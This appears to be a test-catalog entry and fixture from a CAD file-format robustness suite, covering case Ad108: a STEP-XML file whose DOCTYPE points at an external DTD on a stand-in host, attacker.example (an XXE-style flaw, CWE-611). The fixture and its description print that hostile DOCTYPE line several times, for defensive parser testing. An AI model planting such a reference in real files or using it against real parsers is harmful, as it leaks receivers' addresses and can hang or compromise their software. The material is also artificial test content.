step-examples/12-11-adversarial/Ad108.stp
Sources
- bug-reporter language: "STEP-XML loader fetches remote DTD", "DOCTYPE points at evil URL"
- CWE-611 (XML External Entity)
- ISO 10303-28 STEP-XML transfer
Sender
deduced — adversarial input or a producer that ships a DOCTYPE with an external `SYSTEM` identifier
Description
ISO 10303-28 specifies an XML transfer of STEP data. The DOCTYPE declaration may name an external DTD via a `SYSTEM` identifier (`<!DOCTYPE step SYSTEM "http://attacker.example/evil.dtd">`); a receiver whose XML parser resolves external DTDs by default fetches the URL on every load. The fetched DTD can declare further external entities, redirect, or simply hang. Even without entity expansion this leaks the receiver's IP / load timing to the URL owner, and on slow networks blocks the load indefinitely. Bug-reporter language: "STEP-XML loader hits the network", "external DTD reference in STEP", "DOCTYPE SYSTEM URL fetched on load".
Reproducer recipe
a `.stpx` file beginning `<?xml version="1.0"?> <!DOCTYPE step SYSTEM "http://attacker.example/evil.dtd"> <step ..>..</step>`; the DTD URL is unreachable / slow / hostile.
Expected kernel behavior
disable external-DTD resolution by default in the XML parser used for STEP-XML; reject documents whose DOCTYPE names an external SYSTEM identifier with a precise diagnostic; treat as adversarial. If a producer legitimately needs DTD validation, require the DTD to be inlined.
Notes
Twin of Ad104 (external entity inside the document); this entry attacks the DOCTYPE itself. Synonyms: "external DTD in STEP-XML", "remote DTD fetch", "XXE via DOCTYPE SYSTEM". Provenance tier: cross-file-state; defect is in the .stpx wrapper, not in the .stp body. **See also**: Ad104, Ad107, Ad109. **OCC behavior**: silently accepts (no diagnostic, empty result); outside catalog's allowed set ({reject}). Kernel-bug witnessed: receivers must reject this fixture per the catalog's stated invariant.
Expected validation
occt=empty/empty gmsh=empty ifc=schema_n/a
Provenance tier
cross-file-state — defect not fully embodied in fixture bytes.
Byte assertions
contains(b'<!DOCTYPE') and contains(b'SYSTEM')contains(b'http://') or contains(b'evil.dtd')
Tier-3 assertions
load == "ok"
Cross-references
Live oracle output
No live oracle data — run _run_corpus to populate.
Fixture content
Show fixture bytes
1ISO-10303-21; 2/* External-DTD attack payload (STEP-XML / ISO 10303-28 wrapper layer): 3 <?xml version="1.0" encoding="UTF-8"?> 4 <!DOCTYPE step SYSTEM "http://attacker.example/evil.dtd"> 5 <step:iso_10303_28 xmlns:step="urn:oid:1.0.10303.28.3.1"> 6 <step:header/> 7 <step:data/> 8 </step:iso_10303_28> 9 Receiver must disable external-DTD resolution by default (CWE-611). 10 DOCTYPE SYSTEM URL: http://attacker.example/evil.dtd 11 On every load the vulnerable parser fetches this URL, leaking 12 the receiver's IP to the attacker and blocking on slow networks. 13*/ 14/* Ad108: STEP-XML DOCTYPE references external DTD via SYSTEM identifier; <!DOCTYPE step SYSTEM 'http://attacker.example/evil.dtd'> causes receiver's XML parser to fetch the URL on every load; fetched DTD may declare further entities, redirect, or block indefinitely; leaks receiver IP and load timing to the URL owner; receiver must disable external-DTD resolution by default; must reject documents whose DOCTYPE names an external SYSTEM identifier; CWE-611; ISO 10303-28 STEP-XML transfer; GEOMETRIC_CURVE_SET IS model entity â OCC yields empty */ 15HEADER; 16FILE_DESCRIPTION(('Ad108'),'2;1'); 17FILE_NAME('Ad108.stp','2026-06-17T00:00:00',(''),(''),'cad-research-suite','',''); 18FILE_SCHEMA(('AUTOMOTIVE_DESIGN { 1 0 10303 214 3 1 1 }')); 19ENDSEC; 20DATA; 21#1=CARTESIAN_POINT('',(0.0,0.0,0.0)); 22#2=GEOMETRIC_CURVE_SET('',(#1)); 23ENDSEC; 24END-ISO-10303-21;